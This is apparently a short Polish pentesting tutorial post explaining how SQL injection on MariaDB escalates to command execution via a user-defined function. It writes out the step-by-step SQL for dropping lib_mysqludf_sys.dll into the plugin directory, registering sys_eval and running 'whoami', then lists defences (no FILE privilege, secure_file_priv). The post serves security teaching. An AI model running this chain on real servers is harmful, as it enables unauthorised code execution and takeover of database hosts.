Błędy typu SQL Injection…

Błędy typu SQL Injection pozwalają na wykonanie nieautoryzowanych zapytań do naszej bazy danych.
Ale co jeszcze można uzyskać za ich pomocą? #od0dopentestera
MariaDB pozwala na zainstalowanie dodatkowych funkcji, tak zwany User-Defined Functions.
Nas interesuje taka, która umożliwia wykonanie kodu na serwerze poprzez zapytanie SQL.
Najpierw sprawdzamy wersje systemu operacyjnego oraz lokalizacje katalogu z rozszerzeniami:

SHOW GLOBAL VARIABLES LIKE '%version%';
SHOW VARIABLES LIKE 'plugin_dir';

Teraz tworzymy nową tabele i kopiujemy do niej treść odpowiedniego pliku:

CREATE TABLE files(content text);
INSERT INTO files VALUES(CHAR(1, 2, 3))

Może on zawierać bajty zerowe, dlatego też korzystamy z funkcji CHAR.
Następny krok to zapis danych z tabeli do poznanego wcześniej katalogu.
Aby było to możliwe użytkownik musi mieć odpowiednie uprawnienia.

SELECT content FROM files INTO DUMPFILE 'C:\xampp\mysql\lib\plugin\lib_mysqludf_sys.dll';

Pozostało już tylko zarejestrować nową funkcję i wykorzystać ją do wykonania kodu:

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
SELECT sys_e val("whoami");

(Spacja w zapytaniu powyżej jest tu z powodu usługi anty DDOS na wykopie).
Jak ochronić się przed tym atakiem?
Korzystać z kont, które nie posiadają uprawnień FILE.
Alternatywną opcją jest uruchomienie serwera z dodatkowym parametrem secure_file_priv.

Subskrybuj kanał na YouTube
Masz pytanie na temat bezpieczeństwa? Zadaj je na grupie od 0 do pentestera na Facebooku.
Jeżeli chcesz być wołany dodaj się do Mirkolisty.

#programowanie #security #informatyka #it #nauka #technologia #ciekawostki #gruparatowaniapoziomu #bezpieczenstwo #webdev #programista15k #mysql #bazydanych